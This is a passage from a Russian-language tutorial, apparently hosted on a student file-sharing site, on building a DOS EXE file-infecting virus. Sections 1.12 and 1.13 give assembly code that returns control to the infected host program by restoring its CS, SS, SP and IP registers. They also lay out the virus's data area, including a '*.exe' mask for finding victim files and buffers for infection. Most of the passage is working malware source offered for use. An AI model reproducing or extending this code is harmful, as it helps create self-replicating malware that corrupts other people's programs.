Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
virur.doc
Скачиваний:
3
Добавлен:
17.08.2019
Размер:
1.01 Mб
Скачать

1.12 Восстанавливаем точку входа

Далее необходимо передать управление зараженной

программе ( конечно, не только что зараженной, а

той, из которой стартовал вирус ) .Для этого нужно

восстановить ее исходную точку входа,а также пере-

ключить стек с вирусной области данных на стек,

предусмотренный разработчиком программы .

Чтобы произвести все необходимые вычисления,мы ис-

пользуем параметры заголовка программы, сохранен-

ные ранее в ячейках " my_XX " .

При передаче управления на код вируса в регистр CS

было помещено такое значение : CS = NS0 + 10h +

+ Header [16h], и это значение нам известно - оно

сейчас находится в CS .С другой стороны, настоящая

точка входа EXE - программы имеет сегментный адрес

CS = NS0 + 10h + my_cs . Таким образом, достаточно

узнать, чему равна сумма : NS0 + 10h, и прибавить

к ней " my_cs " .Такая же ситуация возникает и при

восстановлении регистра SS, только здесь к NS0 +

+ 10h нужно прибавить " my_ss " .Проще всего вос-

становить регистр DS, поскольку при загрузке EXE -

файла соблюдается условие : ES = DS = NS0.Для ини-

циализации SP и IP можно просто записать в них чи-

сла,хранящиеся в переменных " my_sp " и " my_ip ",

не производя при этом каких - либо сложных расче-

тов .С учетом этих соображений можно записать :

mov ax,my_ip

mov old_ip,ax

mov ax,my_cs

mov old_cs,ax

mov ax,my_16h

mov to_16h,ax

mov ax,my_sp

mov sp,ax ;Инициализируем

;регистр SP ...

mov ax,cs ;Найдем

sub ax,to_16h ;NS0 + 10h ...

add my_ss,ax ;Вычислим SS ...

mov ss,my_ss ;

add ax,old_cs ;Вычислим CS ...

mov old_cs,ax ;

mov ax,es ;Инициализируем

mov ds,ax ;регистр DS ...

jmp $ + 2 ;Сбросим очередь

;процессора

db 0eah ;И перейдем к

old_ip dw 0 ;исполнению

old_cs dw 0 ;программы ...

Команда перехода к исполнению программы записана в

виде машинного кода,чтобы при необходимости ее мо-

жно было модифицировать .

И еще - вы , вероятно, помните, что символами

" NS0 " мы обозначили начальный сегмент программы.

1.13 Область данных вируса

Приведем данные, которыми оперирует уже почти соз-

данный нами EXE - вирус :

;Собственная DTA

;вируса

new_dta db 128 dup (0)

;Маска для поис-

;ка файла - жер-

;твы

maska db '*.exe',0

;Буфер для хра-

;нения имени

;найденного

;файла

fn db 12 dup (' '),0

;Массив для хра-

;нения заголовка

header db 27 dup ( 0 )

descrypt dw 0 ;Ячейка для дес-

;криптора

to_02h dw 0 ;Эти ячейки ис-

to_04h dw 0 ;пользуются для

to_16h dw 0 ;хранения пара-

my_ip dw 0 ;метров заголо-

my_cs dw 0 ;вка заражаемой

my_16h dw 0 ;программы и

my_ss dw 0 ;той, из которой

my_sp dw 0 ;стартовал

old_ss dw 0 ;вирус

old_sp dw 0 ;

f_seek_low dw 0 ;В эти перемен-

f_seek_high dw 0 ;нные записывае-

;тся значение

;указателя

;Вирусный стек

new_stack dw 50 dup ( 0 )

last db 0 ;Сюда помещается

;последний байт

;заражаемого

;файла

db '7' ;Последний байт

;вирусного кода

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]